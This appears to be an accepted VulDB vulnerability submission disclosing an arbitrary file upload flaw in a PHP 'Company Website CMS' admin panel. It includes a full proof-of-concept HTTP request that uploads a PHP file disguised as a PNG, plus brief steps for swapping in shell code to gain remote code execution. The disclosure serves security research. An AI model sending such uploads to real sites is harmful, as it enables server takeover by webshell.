Submit #43179: Company Website CMS Backstage management add-service RCE

info:There is an arbitrary file upload vulnerability in the company's website CMS background management add-service
Add a service in the background, upload attachments, capture packages, and modify the attachment suffix to php as needed.
Modify the attached content php code getshell to achieve RCE.
Then traverse the URL:/dashboard/uploads/services/xxxxx.php access

payload:POST /dashboard/add-service.php HTTP/1.1
Host: 192.168.153.1:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------274725611819867486771627854568
Content-Length: 783
Origin: http://192.168.153.1:8090
Connection: close
Referer: http://192.168.153.1:8090/dashboard/add-service.php
Cookie: PHPSESSID=vomi3si61qo6kdmeg950fo9uk2
Upgrade-Insecure-Requests: 1

-----------------------------274725611819867486771627854568
Content-Disposition: form-data; name="service_title"

11111111111111111111111111
-----------------------------274725611819867486771627854568
Content-Disposition: form-data; name="service_desc"

11111111111111111111111111
-----------------------------274725611819867486771627854568
Content-Disposition: form-data; name="service_detail"

11111111111111111111111111
-----------------------------274725611819867486771627854568
Content-Disposition: form-data; name="ufile"; filename="123.php"
Content-Type: image/png

<?php phpinfo();?>
-----------------------------274725611819867486771627854568
Content-Disposition: form-data; name="save"

-----------------------------274725611819867486771627854568--

• Quelle: ⚠️ https:// www.sourcecodester.com/php/15517/company-website-cms-php.html
• Benutzer: jsbae3449 (UID 30775)
• Einreichung: 09.08.2022 19:35 (vor 4 Jahren)
• Moderieren: 10.08.2022 08:12 (13 hours later)
• Status: Akzeptiert
• VulDB Eintrag: 206022 [SourceCodester Company Website CMS Add Service add-service.php erweiterte Rechte]
• Punkte: 20